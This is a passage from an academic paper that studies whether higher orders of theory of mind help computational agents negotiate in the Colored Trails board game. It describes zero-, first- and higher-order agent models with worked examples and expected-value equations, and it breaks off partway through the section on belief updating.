[19, 39], and continue to adjust their actions based on the behavior of others, but without any mental state modeling. By observing the behavior of higher-order theory of mind agents, a zero-order agent may therefore learn to behave as if he were a more sophisticated agent. Our agent model therefore explicitly takes the role of learning into account as an alternative to higher-order theory of mind reasoning. The goal of our work is to identify settings in which there is an evolutionary incentive to reason using higher orders of theory of mind which could explain the emergence of human-like theory of mind abilities. However, although we model human-like theory of mind abilities, our goal is not to replicate actual human social behavior in the same way as agent-based simulation tools such as PsychSim [58] or to predict human theory of mind inferences like in Bayesian Theory of Mind [5]. Instead, we explicitly compare simple learning strategies that rely solely on modeling the behavior of others with more complex strategies that include theory of mind to determine the extent of their effectiveness. In this sense, our work also differs from formal methods such as (dynamic) epistemic logic [22, 68] and epistemic game theory [35, 36, 37, 52, 55], which are used to study recursive reasoning about the knowledge of others from a prescriptive perspective. In contrast, our theory of mind agents typically construct an incorrect model of the beliefs of others. We determine to what extent reasoning at increasingly higher orders of theory of mind remains effective, even under these conditions. The evolutionary advantage of higher-order theory of mind has recently received more attention. For example, Franke and Galeazzi [27] compare the evolutionary success of level-n agents in repeated randomly generated single-shot games. They find that level-n agents of increasingly higher levels continue to obtain an advantage over level-$$(n-1)$$ agents. Interestingly, their results also show that populations that only contain high-level reasoners can sometimes be invaded by level-0 agents. This means that under certain circumstances, populations that contain both low-level and high-level agents can be evolutionarily stable. Recently, Devaine et al. [18] investigated the effectiveness of higher-order theory of mind using a model of meta-Bayesian agents that is closely related to our agent model. Using replicator dynamics, Devaine et al. determine whether Bayesian agents of a lower order of theory of mind can survive when faced with more sophisticated agents in both a competitive setting and a cooperative setting. In the competitive hide-and-seek setting, their Bayesian theory of mind agents benefit from the ability to make use of increasingly higher orders of theory of mind. In this setting, only agents using the highest order of theory of mind survive in the population. In a cooperative setting, on the other hand, reasoning at higher orders of theory of mind is not always beneficial. Devaine et al. find that in the battle of the sexes setting, the population reaches an evolutionarily stable state when two-thirds of the population consist of second-order theory of mind agents while the remaining one-third of the population consists of first-order theory of mind agents. In contrast to previous models that investigate the evolutionary advantage of higher-order theory of mind in relatively simple repeated single-shot games, we consider an open-ended negotiation setting in which agents negotiate an agreement over multiple rounds of offers. To ensure that our results are generalizable, each new negotiation is played on a game board that agents have never encountered before. By comparing the performance of theory of mind agents and agents that rely on simpler learning techniques, we aim to determine to what extent higher-order theory of mind reasoning allows agents to obtain better outcomes in mixed-motive situations such as negotiations. Through negotiations between human participants and computational agents, we also investigate to what extent participants take advantage of the benefits of higher-order theory of mind reasoning. ## 3 Colored Trails To determine to what extent reasoning at higher orders of theory of mind results in better outcomes in mixed-motive situations, we compare performance of computational agents that negotiate in the setting of Colored Trails. Colored Trails is a board game designed as a research test-bed for investigating decision-making in groups of people and computer agents [28, 45, 70]. As a prototypical multi-issue bargaining situation, the Colored Trails setting can capture a wide variety of negotiation aspects. For example, many of the domains in the GENIUS framework [44] can be directly implemented as a Colored Trails setting. Our specific setting is similar to the one we used previously to test the effectiveness of higher-order theory of mind in single-shot negotiations [16]. The game is played by two players on a square board consisting of 25 tiles that are randomly assigned one of five possible colors, such as the board in Fig. 1. At the start of the game, each player receives a set of four colored chips, selected randomly from the same five possible colors as those on the board. Each player is initially located on the center tile of the board, indicted with the letter S in Fig. 1a. Players can move to a tile adjacent to their current location by handing in a chip of the same color as the destination tile. Figure 1b shows an example of one of the $$5^{24}$$ possible Colored Trails boards as well as a possible path across the board. A player following the path from location A to the white tile marked B would have to hand in one black chip, one gray chip, and one white chip. Each player is also assigned a goal location, which is randomly drawn from the board tiles that are at least three steps away from the initial location (striped tiles in Fig. 1a). The goal of each player is to approach the goal as closely as possible. To reach that goal, players are allowed to trade chips among each other. This trading of chips in the Colored Trails setting represents a multi-issue bargaining situation, in which every color represents a different issue or task to overcome. Different paths from the initial location to the goal location on the board represent different ways of achieving the same goal, while each chip represents the means to complete a task or resolve an issue. In our specific Colored Trails setting, for example, each player always has at least three possible paths from the starting location to the goal location. In Colored Trails, players are scored based on their success in reaching their goal location. For each step a player takes towards his or her goal, the player receives 100 points. Any player that succeeds in reaching their goal receives an additional 500 points. Finally, any chip that has not been used to move around the board is worth an additional 50 points to its owner. This scoring ensures that players have the highest incentive to reach their goal location, but that they are also motivated to compete over control of unused chips. Although players are scored based on how closely they approach their own goal, Colored Trails is not a strictly competitive game. Since a player may need a different set of chips to achieve his goal than his trading partner, there may be an opportunity for a cooperative trade, which allows both players to obtain a higher score. That is, although the score of a player is not influenced by how closely his trading partner reaches his or her goal location, players may still benefit from taking into account the goal of their trading partner. However, agents in our Colored Trails setup do not know the goal location of their trading partner from the start. In addition, each negotiation game is played on a new game board, which is randomly selected from one of the $$5^{24}$$ possible game boards, with new initial sets of chips and a new goal location. This means that players are very unlikely to see a given game setting more than once. Trading among players takes the form of a sequence of alternating offers. The initiator makes an initial offer for a redistribution of chips. His trading partner then decides whether or not to accept this offer. If the offer is accepted, the proposed distribution of chips becomes final, the players move as close to their respective goal locations as possible, and the game ends. Alternatively, the trading partner may decide to withdraw from negotiations, which makes the initial distribution final. Finally, the trading partner may also decide to continue the game by rejecting the offer, and make his own offer for a redistribution of chips. There are no restrictions on the offers that players can make. For example, a player is allowed to repeat an offer that has been previously rejected by his trading partner, or make an offer that he has previously rejected himself. In addition, our setting does not include a negotiation deadline. Instead, to prevent negotiations from taking an unbounded number of rounds to resolve, both players pay a 1 point penalty for each round of play. That is, when negotiations end after a total of five offers have been made, the final score of each player is reduced by five points. Note that this penalty is meant only to deter negotiations that last indefinitely. As a result, this cost of negotiation has intentionally been kept low compared to the possible gains of negotiation. In this paper, we investigate to what extent higher orders of theory of mind allow computational agents to make better offers. Based on our previous results in the one-shot variation of Colored Trails [16], we expect that theory of mind will provide agents with significant advantages over agents that are more limited in their theory of mind abilities. More specifically, we expect agents that are capable of a higher orders of theory of mind to be able to manipulate the beliefs of their trading partner in order to achieve higher individual scores than agents that are more limited in their theory of mind abilities. Additionally, we also expect that the presence of higher-order theory of mind agents in the negotiation has a positive effect on social welfare, as measured by the sum of the scores of the two negotiating agents. These expectations are captured by hypotheses $$H_1$$ and $$H_2$$. • Hypothesis $$H_1$$: First-order theory of mind agents obtain a higher score than zero-order theory of mind agents, while second-order theory of mind agents obtain a higher score than first-order theory of mind agents. • Hypothesis $$H_2$$: Social welfare, measured as the sum of the scores over the two agents, increases when the theory of mind abilities of either agent increases. In Sect. 4, we describe the way computational agents play Colored Trails, and how the ability to reason about the goals of others influences the choices agents make. The formal description of these agents can be found in Sect. 5. ## 4 Theory of mind in Colored Trails In this section, we describe the way theory of mind agents play Colored Trails. In our agent model, an agent achieves theory of mind by taking the perspective of his trading partner, and determining what his own decision would be if the agent had been in the position faced by his trading partner. Using the implicit assumption that his trading partner’s thought process can be accurately modeled by his own thought process, the agent then predicts that his trading partner will make the same decision the agent would have made if the roles had been reversed. In the remainder of this section, we describe how this process of perspective-taking results in different behavior for agents of different orders of theory of mind playing Colored Trails. The formal description of these theory of mind agents is presented in Sect. 5. We will use the shorthand $${ ToM}_{k}$$ agent to indicate an agent that has the ability to use theory of mind up to and including the k-th order, but not beyond. ### 4.1 Zero-order theory of mind agent The zero-order theory of mind ($${ ToM}_{0}$$) agent can model the behavior of his trading partner, but the $${ ToM}_{0}$$ agent is unable to attribute mental content to others. In particular, the $${ ToM}_{0}$$ agent is unable to represent that his trading partner wants to reach a certain goal location, and that the behavior of the trading partner is consistent with that desire. A $${ ToM}_{0}$$ agent is essentially fixated on his own piece of pie, and does not consider the piece of pie of other agents at all. Instead, the $${ ToM}_{0}$$ agent constructs zero-order beliefs about the likelihood that his trading partner will accept a certain offer. The $${ ToM}_{0}$$ agent bases these zero-order beliefs on observations of the behavior of the trading partner. For example, through repeated interaction, the $${ ToM}_{0}$$ agent will learn that offers that assign many chips to the trading partner and few to the $${ ToM}_{0}$$ agent are more likely to be accepted, while offers that assign few chips to the trading partner and many to the $${ ToM}_{0}$$ agent himself are more likely to be rejected. Using these zero-order beliefs, the $${ ToM}_{0}$$ agent can form an expectation about how his score will change if he were to make a particular offer, and select the offer that he assigns the highest expected value. This allows the $${ ToM}_{0}$$ agent to play the Colored Trails setting without attributing mental content to others. That is, although the zero-order beliefs of the $${ ToM}_{0}$$ agent will eventually reflect that his trading partner has a desire for owning chips, the $${ ToM}_{0}$$ agent does not explicitly represent such a desire. The $${ ToM}_{0}$$ agent engages purely in positional bargaining [25], by only reasoning about specific offers that he believes his trading partner will accept, and that he is willing to accept himself. Because the $${ ToM}_{0}$$ agent has no theory of mind, he is unable to represent that his trading partner has interests that underlie the offers that his trading partner is willing to accept. ### Example 0 Consider the example depicted in Fig. 2, and suppose agent i in this setting is a $${ ToM}_{0}$$ agent with goal location G. With his initial set of chips, agent i can take two steps towards his goal. This leaves agent i with two unused gray chips and one step away from his goal location. To reach his goal location, agent i needs one white chip, of which agent j has three. A $${ ToM}_{0}$$ agent reasons only about the behavior of his trading partner and is unable to consider that his trading partner has goals or desires. In his very first game, a $${ ToM}_{0}$$ agent has no experience on which to base his prediction of his trading partner’s behavior. Such an agent will offer the distribution of chips that would yield him the highest score, that is, he would ask to be given all chips. A $${ ToM}_{0}$$ agent quickly learns that asking for chips without offering anything in return is never successful. By repeatedly playing the Colored Trails game across different game boards, a $${ ToM}_{0}$$ agent will come to learn that the more chips he offers his trading partner, the more likely it is that the offer will be accepted. For example, $${ ToM}_{0}$$ agent i could offer to exchange one of his gray chips for two white chips. This would allow agent i to reach goal location G with two spare chips. Alternatively, if $${ ToM}_{0}$$ agent i believes that the additional 100 points for two spare chips is not worth the risk of the offer being rejected, the $${ ToM}_{0}$$ agent may offer to exchange two gray chips for one white chip instead. Figure 2 shows that agent j makes an offer to exchange his gray chip for the black chip owned by agent i. When a $${ ToM}_{0}$$ agent i receives this offer, he updates his beliefs concerning what offers agent j will accept in this particular game. Specifically, agent i lowers his beliefs that his trading partner will accept any offer that does not assign at least three white chips and one black chip to agent j. In subsequent rounds, $${ ToM}_{0}$$ agent i is therefore more likely to make offers that assign his black chip to agent j than offers that assign gray chips to agent j. ### 4.2 First-order theory of mind agent In addition to his zero-order beliefs, a first-order theory of mind ($${ ToM}_{1}$$) agent considers the possibility that his trading partner has beliefs and goals as well, which determine whether or not his trading partner will accept an offer. A $${ ToM}_{1}$$ agent therefore realizes that in order to get a large piece of pie for himself, it is essential to enlarge the pie as a whole. The $${ ToM}_{1}$$ agent is able to consider the game from the perspective of his trading partner, and decide what his action would be if he were in the position of that player. Since each player wants to increase his own score through negotiation, each player reveals information about his goal location whenever he makes an offer. Although a $${ ToM}_{1}$$ agent does not know the goal location of his trading partner, the agent can learn the goal location of his trading partner through the offers he receives. In Example 1, we discuss this process in more detail. Although the $${ ToM}_{1}$$ agent is able to consider his trading partner as a $${ ToM}_{0}$$ agent, the $${ ToM}_{1}$$ agent does not know the extent of the theory of mind abilities of his trading partner with certainty. Through repeated interactions, the $${ ToM}_{1}$$ agent may learn that his first-order beliefs fail to accurately model the behavior of his trading partner. If this happens, the $${ ToM}_{1}$$ agent may choose to play as if he were a $${ ToM}_{0}$$ agent. ### Example 1 Consider the negotiation board shown in Fig. 2 and suppose agent i is a $${ ToM}_{1}$$ agent with goal location G. Using his first-order theory of mind, a $${ ToM}_{1}$$ agent can take the perspective of his trading partner to determine whether agent j would accept a given offer O. However, since agents only know their own goal location, agent i starts every game knowing only that his trading partner’s goal location is three or four steps away from the center of the board. To determine whether an offer O is likely to be accepted, $${ ToM}_{1}$$ agent i determines how the score of his trading partner would change by accepting offer O. Figure 3 shows this process for two possible offers. In Fig. 3a, agent i offers to exchange two of his gray chips against one white chip of agent j. In Fig. 3b, agent i offers to exchange two of his gray chips and his black chip for two white chips. Note that in both these situations, agent i can reach his goal location with no chips to spare. Although agent i has no preference for either one of these offers, agent i knows that the same may not be true for agent j. For each possible goal location of agent j, Fig. 3 shows how the score of agent j changes by accepting either one of these offers. For example, if the goal location of agent j is the bottom left square, offer Fig. 3a would increase his score by 50 points, while offer Fig. 3b would increase the score of agent j by 200 points. Without additional information about the goal location of his trading partner, agent i concludes that agent j is more likely to accept offer Fig. 3b than he is to accept offer Fig. 3a, since Fig. 3 shows that this would typically yield agent j a higher score. By placing himself in the position of his trading partner, a $${ ToM}_{1}$$ agent can also interpret the offers he receives. Figure 4 shows an example in which agent j offers to trade the black chip owned by agent i against the gray chip owned by agent j. For each possible goal location, the figure shows how accepting this offer would change agent j’s score. By placing himself in the position of agent j, agent i believes that agent j’s goal location is one of the locations with a positive number. After all, for other locations, agent i would not have made the offer shown in Fig. 4. Furthermore, agent i considers it unlikely that the goal location of agent j is one of the locations that show a low number. For these locations, agent i reasons that he himself would have made a different offer. ### 4.3 Higher orders of theory of mind agent Agents that are able to use orders of theory of mind beyond the first order consider the possibility that other agents take into account that others have beliefs and goals as well. A higher-order theory of mind agent reasons about the way his offers influence what his trading partner believes about his goal location. Such an agent may choose to select the offer that provides his trading partner with as much information as possible about his goal location. This way, a $${ ToM}_{2}$$ agent can inform his trading partner that he prefers a small piece of cherry pie over a large piece of chocolate pie, so that his trading partner can take this into consideration when making an offer. That is, higher orders of theory of mind allow agents to communicate their interest to their trading partner through the offers they make, and engage in interest-based negotiation [25]. Higher orders of theory of mind also allow agents to manipulate the beliefs of trading partners of a lower order of theory of mind. For example, a higher-order theory of mind agent may construct an offer that gives his trading partner an incorrect impression of his goal location. Such an agent may exaggerate the value of the chips he already possesses and downplay the value of other chips in order to get a better deal. Whether a higher-order theory of mind agent decides to reveal his true goal location or attempt to manipulate the beliefs of his trading partner depends on what the agent believes to result in the highest score for himself. As with the $${ ToM}_{1}$$ agent, a higher-order theory of mind agent does not know the extent of the theory of mind abilities of his trading partner. Instead, a $${ ToM}_{k}$$ agent has $$k+1$$ hypotheses about the future behavior of his trading partner. While playing the Colored Trails game, the $${ ToM}_{k}$$ agent continuously updates his beliefs concerning which of these hypotheses best fits the actual behavior of the trading partner. The details of this belief update procedure are described in Sect. 5.4. ### Example 2 Consider the situation shown in Fig. 2 and suppose that agent i is a $${ ToM}_{2}$$ agent with goal location G. Using his second-order theory of mind, a $${ ToM}_{2}$$ agent believes that his trading partner may try to find our the goal location of agent i by interpreting the offers he makes. While deciding what offer to make, a $${ ToM}_{2}$$ agent also takes into account how his offer influences his trading partner’s beliefs concerning his goal location. Figure 5 shows two offers that $${ ToM}_{2}$$ agent i could make. For both these offers, the figure shows how accepting the offer would change the score of agent i for each possible goal location. Agent i knows that a $${ ToM}_{1}$$ trading partner can use this to obtain information about the goal location of agent i. For example, the offer shown in Fig. 5a excludes five locations as possible goal locations for agent i. This information would help a $${ ToM}_{1}$$ agent j to construct offers that are mutually beneficial. In contrast, the offer shown in Fig. 5b only excludes two locations, which would leave agent j with little information about the goal location of agent i. ## 5 Mathematical model of theory of mind In the previous section, we presented the intuition behind agents negotiating in a Colored Trails setting using theory of mind. In this section, we discuss the implementation of computational agents that play according to this intuition. The agents described in this section is inspired by the theory of mind agents we used in [13] to investigate the effectiveness of theory of mind in competitive settings. This model is extended to allow for generalization over different stage games, and to allow for sequential games. In our representation, a Colored Trails game is a tuple $${\mathcal {CT}} = \langle {\mathcal {N}}, {\mathcal {D}}, L, \pi ^i_t, \pi ^j_t, D_0 \rangle$$, where: • $${\mathcal {N}} = \{i,j\}$$ is the set of agents; • $${\mathcal {D}}$$ is the set of possible distributions of chips; • L is the set of possible goal locations; • $$\pi ^i_t,\pi ^j_t: L \times {\mathcal {D}} \rightarrow {\mathbb {R}}$$ are the score functions for agents i and j respectively, such that $$\pi ^i_t(l,D)$$ denotes the score of agent i at round t when his goal location is $$l \in L$$ and the chips are distributed according to distribution $$D \in {\mathcal {D}}$$; and • $$D_0 \in {\mathcal {D}}$$ is the initial distribution of chips. In addition, each agent i knows his own goal location $$l_i$$ from the start of the game, while agent i does not know the goal location $$l_j$$ of trading partner j. In the setting we describe, we therefore assume that each agent knows the set of possible offers $${\mathcal {D}}$$, but has incomplete information about the preferences of his trading partner. In our representation of the Colored Trails game, we focus on the negotiation aspect and ignore the task of finding routes between locations. This is reflected in the score functions $$\pi ^i_t$$ and $$\pi ^j_t$$, which specify the maximum score agents i and j can achieve given some distribution of chips. This means that we assume that agents make no mistakes in finding routes between locations and that agents do not consider the possibility that their trading partner would make any mistake in finding these routes. Note that these assumptions do not imply that the agents have common knowledge about any aspect of the game. Rather, we assume that our theory of mind agents have no beliefs that contradict a common knowledge about such aspects of the game. Over the course of the game, agents alternate in making offers, which results in a sequence of offers $$\{O_0, O_1, \dots \}$$. After the initial offer $$O_0$$ has been made, the agent who received the last offer $$O_t$$ decides whether to accept the offer $$O_t$$, withdraw from negotiations, or make an offer $$O_{t+1}$$ of his own. In the model description below, we will show formulas from the point of view of agent i. Formulas from the point of view of trading partner j are analogous. In the following subsections, we describe in detail how theory of mind agents play the Colored Trails game. Sections 5.15.2, and 5.3 describe the decision-making process of a $${ ToM}_{0}$$ agent, a $${ ToM}_{1}$$ agent, and a $${ ToM}_{k}$$ agent ($$k \ge 2$$), respectively. Section 5.4 outlines how agents learn within the context of a single game, while Sect. 5.5 describes how agents learn across different games. For notational convenience, we will omit variables from functions if they can be derived from the context. ### 5.1 Model of zero-order theory of mind The $${ ToM}_{0}$$ agent described in Sect. 4.1 does not form explicit beliefs about the mental content of others. Instead, the $${ ToM}_{0}$$ agent constructs zero-order beliefs $$b^{(0)}: {\mathcal {D}} \rightarrow [0,1]$$ about the likelihood $$b^{(0)}(O)$$ that a certain offer O will be accepted by his trading partner. Using these zero-order beliefs, the $${ ToM}_{0}$$ agent can estimate the value of continuing negotiations by making an offer O. That is, the expected value the $${ ToM}_{0}$$ agent assigns to making offer O is \begin{aligned} EV_i^{0}(O, l_i, b^{(0)}) = b^{(0)}(O) \cdot \pi ^i_t (l_i, O) + \left( 1-b^{(0)}(O)\right) \cdot \pi ^i_t (l_i, D_0). \end{aligned} (1) If the $${ ToM}_{0}$$ agent were to choose to continue negotiation, he would therefore randomly select an offer $$O_t \in {\mathcal {D}}$$ that he assigns the highest expected value. That is, he selects $$O_t^$$ such that \begin{aligned} O_t^ := \arg \max _{O \in {\mathcal {D}}} EV_i^{0}(O, l_i, b^{(0)}). \end{aligned} (2) However, making a counteroffer is not the only option available to the $${ ToM}_{0}$$ agent. After the initial offer of a game, an agent can also accept the previous offer $$O_{t-1}$$ made by his trading partner. Finally, an agent may also decide to withdraw from negotiations, in which case the initial distribution becomes final. The $${ ToM}_{0}$$ agent rationally decides which of the three options outlined above he will take. That is, the $${ ToM}_{0}$$ agent selects the option that he believes will yield him the highest score, as described in the $${ ToM}_{0}$$ response function: \begin{aligned} {{ ToM}_{0}}_i(O_{t-1},l_i,b^{(0)}) = \left\{ \begin{array}{ll} O_t^* &{} \hbox {if } \quad EV_i^{(0)}(O_t^,l_i, b^{(0)}) > \pi ^i_{t-1}(l_i, D_0) \hbox { and} \\ &{} \qquad EV_i^{(0)}(O_t^;l_i, b^{(0)}) > \pi ^i_{t-1}(l_i, O_{t-1})\\ \hbox {accept} &{} \hbox {if } \quad \pi ^i_{t-1}(l_i, O_{t-1}) > \pi ^i_{t-1}(l_i, D_0) \hbox { and } \\ &{} \qquad \pi ^i_{t-1}(l_i, O_{t-1}) \ge EV_i^{(0)}(O_t^,l_i, b^{(0)}) \\ \hbox {withdraw } &{} \hbox {otherwise.} \end{array}\right. \end{aligned} (3) Equation (3) shows that if the $${ ToM}_{0}$$ agent i believes that offer $$O_t^$$, which he assigns the highest expected value, will yield him a higher score than either withdrawing or accepting the offer $$O_{t-1}$$, the agent will reject offer $$O_{t-1}$$ and make counteroffer $$O_t^$$. Alternatively, if the agent believes that offer $$O_t^$$ does not satisfy these conditions, but accepting the offer $$O_{t-1}$$ would give him a higher score than withdrawing, the $${ ToM}_{0}$$ agent accepts the offer $$O_{t-1}$$. In all other cases, the $${ ToM}_{0}$$ agent withdraws from negotiation. Note that although the $${ ToM}_{0}$$ agent observes the entire sequence of offers $$\{O_0, O_1, \dots \}$$, the agent does not explicitly use the entire sequence of offers to make a decision. Instead, the $${ ToM}_{0}$$ agent decides purely on the basis of his zero-order beliefs $$b^{(0)}$$, which describe his beliefs about the future behavior of the trading partner. ### 5.2 Model of first-order theory of mind The use of first-order theory of mind allows a $${ ToM}_{1}$$ agent to put himself in the position of his trading partner to consider an offer from the perspective of his trading partner. To do so, the $${ ToM}_{1}$$ forms first-order beliefs $$b^{(1)} : {\mathcal {D}} \rightarrow [0,1]$$ that represent what the zero-order beliefs of the $${ ToM}_{1}$$ agent would have been if he had been in the position of his trading partner. The $${ ToM}_{1}$$ agent can then attribute these beliefs to his trading partner to obtain a prediction of future behavior. That is, the $${ ToM}_{1}$$ agent considers the possibility that his trading partner believes that the probability of the $${ ToM}_{1}$$ agent accepting a given offer $$O \in {\mathcal {D}}$$ is $$b^{(1)}(O)$$. A $${ ToM}_{1}$$ agent uses his first-order beliefs to predict his trading partner’s behavior as using the $${ ToM}_{0}$$ response function described in Eq. (3). Given the goal location $$l_j$$ of his trading partner, the $${ ToM}_{1}$$ agent calculates the expected value of making offer $$O \in {\mathcal {D}}$$ as \begin{aligned}&EV_i^{(1)}(l_j,O,l_i,b^{(1)}) \nonumber \\&\quad = \left\{ \begin{array}{ll} \pi ^i_t(l_i, D_0)&{}\hbox {if }{{ ToM}_{0}}_{j}(O,l_j,b^{(1)}) = \hbox { withdraw,}\\ \pi ^i_t(l_i, O)&{} \hbox {if } {{ ToM}_{0}}_{j}(O,l_j, b^{(1)}) = \hbox { accept,}\\ \max \left\{ \pi ^i_{t+1}\Bigl (l_i, \hat{O}^{(1)}_t\Bigr ), \pi ^i_{t+1}\Bigl (l_i, D_0\Bigr ) \right\} &{} \hbox {otherwise,} \end{array}\right. \end{aligned} (4) where \begin{aligned} \hat{O}^{(1)}_t = {{ ToM}_{0}}_{j}(O,l_j,b^{(1)}) \end{aligned} (5) is the offer that the $${ ToM}_{1}$$ agent expects his trading partner to make in response to receiving offer O. Equation (4) shows that the $${ ToM}_{1}$$ agent looks further ahead into the negotiation process than the $${ ToM}_{0}$$ agent. The $${ ToM}_{0}$$ agent only forms beliefs about whether or not his trading partner will accept an offer, the $${ ToM}_{1}$$ agent can also make a prediction about what counteroffer his trading partner could make, and whether the $${ ToM}_{1}$$ agent himself would accept this counteroffer. Since the game is sequential, this results in the $${ ToM}_{1}$$ agent looking one step further ahead into the negotiation process. The sequential nature of the game also means that a player may change his beliefs after receiving an offer $$O_{t-1}$$, but before deciding whether or not to make a counteroffer $$O_t$$. In our agent model, the $${ ToM}_{1}$$ agent takes this belief update, which will be described in detail in Sect. 5.4, into account. When deciding on whether to make offer $$O \in {\mathcal {D}}$$, the $${ ToM}_{1}$$ agent determines how making this offer O would change his zero-order beliefs if he had been in the position of his trading partner, and makes further calculations using the adjusted first-order beliefs $$U(b^{(1)}, O)$$ (see Eq. (12)). Since agents do not know the goal location $$l_j$$ of their trading partner from the start, a $${ ToM}_{1}$$ agent cannot calculate Eq. (4) directly. Instead, the $${ ToM}_{1}$$ agent forms beliefs about the goal location of his trading partner in the form of a probability distribution $$p^{(1)} : L \rightarrow [0,1]$$, so that the $${ ToM}_{1}$$ agent believes that the likelihood of his trading partner having goal location $$l \in L$$ is $$p^{(1)}(l)$$. Although the $${ ToM}_{1}$$ agent is capable of using theory of mind, the $${ ToM}_{1}$$ agent considers the possibility that his first-order beliefs $$b^{(1)}$$ may not accurately predict the behavior of his trading partner. In this case, the $${ ToM}_{1}$$ agent may decide to rely on his zero-order beliefs $$b^{(0)}$$ instead. To model the $${ ToM}_{1}$$ agent’s uncertainty concerning the appropriateness of the use of first-order theory of mind, the $${ ToM}_{1}$$ agent has a confidence variable $$c_1 \in [0,1]$$, which indicates how much confidence the $${ ToM}_{1}$$ agent places in the predictions of first-order theory of mind. When deciding on the expected value of making an offer O, the $${ ToM}_{1}$$ agents weighs the predictions of first-order and zero-order theory of mind accordingly. In summary, a $${ ToM}_{1}$$ agent i calculates the expected value of making a given offer $$O \in {\mathcal {D}}$$ through \begin{aligned} EV_i^{(1)}(O,l_i,b^{(0)}, b^{(1)}, p^{(1)}, c_1)&= (1-c_1) \cdot EV_i^{(0)}\left( O,l_i,b^{(0)}\right) \nonumber \\&\quad + c_1 \cdot \sum _{l \in L} p^{(1)}(l) \cdot EV_i^{(1)}\left( l, O,l_i, U(b^{(1)}, O)\right) . \end{aligned} (6) Given these values, the $${ ToM}_{1}$$ agent randomly selects an offer $$O_t^* \in {\mathcal {D}}$$ that maximizes his expected value as a suitable counteroffer. Similar to the way the $${ ToM}_{0}$$ agent decides, the $${ ToM}_{1}$$ agent decides to accept, withdraw, or make a counteroffer based on what he expects will yield him the highest score. \begin{aligned}&{{ ToM}_{1}}_i\left( O_{t-1},l_i, b^{(0)}, p^{(1)}, b^{(1)}\right) \nonumber \\&\quad = \left\{ \begin{array}{ll} O_t^* &{} \hbox {if } \quad EV_i^{(1)}(O_t^) > \pi ^i_{t-1}(l_i, D_0) \hbox { and } \\ &{} \qquad EV_i^{(1)}(O_t^) > \pi ^i_{t-1}(l_i, O_{t-1}) \\ \hbox {accept} &{} \hbox {if } \quad \pi ^i_{t-1}(l_i, O_{t-1}) > \pi ^i_{t-1}(l_i, D_0) \hbox { and } \\ &{} \qquad \pi ^i_{t-1}(l_i, O_{t-1}) \ge EV_i^{(1)}(O_t^) \\ \hbox {withdraw } &{} \hbox {otherwise.} \end{array}\right. \end{aligned} (7) First-order theory of mind benefits the $${ ToM}_{1}$$ agent in two ways. Firstly, theory of mind allows the agent to gain information about the goal location of his trading partner through the offers he receives. He does so by determining how consistent a possible goal location is with the offer his trading partner has made (see Sect. 5.4). Secondly, the $${ ToM}_{1}$$ agent takes into account that making an offer O changes the beliefs and behavior of his trading partner. This may allow the $${ ToM}_{1}$$ agent to make an offer $$O_t$$ that he expects his trading partner to reject, with the intention of causing his trading partner to make an offer $$O_{t+1}$$ that the $${ ToM}_{1}$$ agent is willing to accept. ### 5.3 Model of higher-order theory of mind Agents that are able to use orders of theory of mind beyond the first can use this ability to attempt to manipulate the beliefs of lower orders of theory of mind to obtain an advantage. For example, a second-order theory of mind agent can use his understanding of first-order theory of mind agents to create an offer that signals his goal location to the trading partner as clearly as possible. Alternatively, the $${ ToM}_{2}$$ agent can adjust his offer to give his trading partner false information about his goal location. Each additional order of theory of mind allows an agent to consider an additional model of opponent behavior. These models are constructed analogously to first-order theory of mind, and include additional beliefs $$b^{(k)}$$, location beliefs $$p^{(k)}$$, and a confidence $$c_k$$ in kth-order theory of mind. Based on the application of kth-order theory of mind, the $${ ToM}_{k}$$ agent formulates the expected value of making an offer $$O \in {\mathcal {D}}$$, given that his trading partner has goal location l, as \begin{aligned}&EV_i^{(k)} (l, O) \nonumber \\&\quad = \left\{ \begin{array}{ll} \pi ^i_{t-1}(l_i, D_0)&{}\hbox {if } {{ ToM}_{(k-1)}}_{j}(O) = \hbox { withdraw,}\\ \pi ^i_t(l_i, O) &{} \hbox {if } {{ ToM}_{(k-1)}}_{j}(O) = \hbox { accept,}\\ \max \left\{ \pi ^i_{t+1}\Bigl (l_i, \hat{O}^{(2)}_t\Bigr ), \pi ^i_{t+1}(l_i, D_0) \right\} &{} \hbox {otherwise,} \end{array}\right. \end{aligned} (8) where \begin{aligned} \hat{O}^{(2)}_t = {{ ToM}_{1}}_j(O,l_j,b^{(1)}) \end{aligned} (9) is the offer that the $${ ToM}_{2}$$ agent expects his trading partner to make in response to receiving offer O. These expected values are then combined with the expected values of lower orders of theory of mind according to \begin{aligned} EV_i^{(k)}(O) = (1-c_k) \cdot EV_i^{(k-1)}(O) + c_k \cdot \sum _{l \in L} p^{(k)}(l) \cdot EV_i^{(k)}(l, O)). \end{aligned} (10) This yields the kth-order theory of mind response function \begin{aligned} {{ ToM}_{k}}_i(O_{t-1}) = \left\{ \begin{array}{ll} O_t^ &{} \hbox {if } \quad EV_i^{(k)}(O_t^) > \pi ^i_{t-1}(l_i, D_0) \hbox { and } \\ &{} \qquad EV_i^{(k)}(O_t^) > \pi ^i_{t-1}(l_i, O_{t-1}) \\ \hbox {accept} &{} \hbox {if } \quad \pi ^i_{t-1}(l_i, O_{t-1}) > \pi ^i_{t-1}(l_i, D_0) \hbox { and } \\ &{} \qquad \pi ^i_{t-1}(l_i, O_{t-1}) \ge EV_i^{(k)}(O_t^*)\\ \hbox {withdraw} &{} \hbox {otherwise.} \end{array}\right. \end{aligned} (11) ### 5.4 Learning from observations Agents form beliefs about the likelihood that their trading partner will accept a given offer. During negotiation, agents update these beliefs based on the offers their trading partner makes. Note that whether or not an agent will accept an offer depends on the specific game board, the distribution of chips, the agent’s goal location, and the history of offers made during the negotiation process. However, since our Colored Trails setting spans $$5^{24}$$ possible game boards in addition to possible distributions of initial sets of chips and goal locations, it is not feasible for a $${ ToM}_{0}$$ agent to form meaningful beliefs that are specific for each possible game setting, let alone for each possible history of offers. In this section, we therefore present a way in which $${ ToM}_{0}$$ agents can still generalize the behavior of their trading partner using a simple learning heuristic. An agent’s zero-order belief $$b^{(0)}$$ specifies that the agent believes that the probability that his trading partner will accept a given offer $$O \in {\mathcal {D}}$$ is $$b^{(0)}(O)$$. Whenever he receives an offer $$O_{t-1}$$ from his trading partner, the $${ ToM}_{0}$$ agent updates his beliefs to reflect that he considers it less likely that his trading partner would accept certain offers. More precisely, the $${ ToM}_{0}$$ agent decreases his belief that his trading partner will accept an offer O when offer O assigns more chips of some color c to the agent himself than offer $$O_{t-1}$$ does. For example, suppose that the trading partner makes an offer $$O_{t-1}$$ that assigns 4 blue chips to agent i. Agent i then decreases his belief that the trading partner will accept any offer that assigns 5 or more blue chips to agent i himself. The belief update as a result of receiving an offer $$O_{t-1}$$ from the 